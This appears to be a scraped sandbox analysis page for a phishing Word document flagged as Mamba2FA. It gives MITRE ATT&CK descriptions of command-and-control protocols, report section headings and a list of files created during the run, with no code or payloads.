Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Ageeconstruction -_(BENEFIT INSTRUCTIONS)_.docx

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: Mamba2FA

Yara Signatures

HTML

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Software Vulnerabilities

Networking

System Summary

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

QR Codes

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Program Files (x86)\Microsoft Office\root\vfs\Common AppData\Microsoft\OFFICE\Heartbeat\HeartbeatCache.xml

C:\Users\user\AppData\Local\Microsoft\FontCache\4\CatalogCacheMetaData.xml

C:\Users\user\AppData\Local\Microsoft\FontCache\4\Catalog\ListAll.Json

C:\Users\user\AppData\Local\Microsoft\FontCache\4\PreviewFont\flat_officeFontsPreview_4_40.ttf

C:\Users\user\AppData\Local\Microsoft\Tokenuserer\Cache\089d66ba04a8cec4bdc5267f42f39cf84278bb67.tbres

C:\Users\user\AppData\Local\Microsoft\Tokenuserer\Cache\5475cb191e478c39370a215b2da98a37e9dc813d.tbres

C:\Users\user\AppData\Local\Microsoft\Tokenuserer\Cache\56a61aeb75d8f5be186c26607f4bb213abe7c5ec.tbres

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\A1515214.png

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\C26AB09F.png

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Word\~WRF{395B75A4-BE96-4DEE-A2A5-1A45EE2A588F}.tmp

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Word\~WRS{89AC877D-EB60-4E8C-8898-FFA359240ACA}.tmp

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Word\~WRS{9292194B-BE0C-4D2E-84A0-3D669BDDFB1E}.tmp

C:\Users\user\AppData\Local\Temp\Diagnostics\WINWORD\App1729289629779663100_4907985C-C5CF-4CB5-9F9A-88902AC491DA.log

C:\Users\user\AppData\Local\Temp\TCD5909.tmp\Content.inf

C:\Users\user\AppData\Local\Temp\TCD5909.tmp\architecture.glox

C:\Users\user\AppData\Local\Temp\TCD591A.tmp\BracketList.glox

C:\Users\user\AppData\Local\Temp\TCD591A.tmp\Content.inf

C:\Users\user\AppData\Local\Temp\TCD591B.tmp\Content.inf

Windows Analysis Report
Ageeconstruction -_(BENEFIT INSTRUCTIONS)_.docx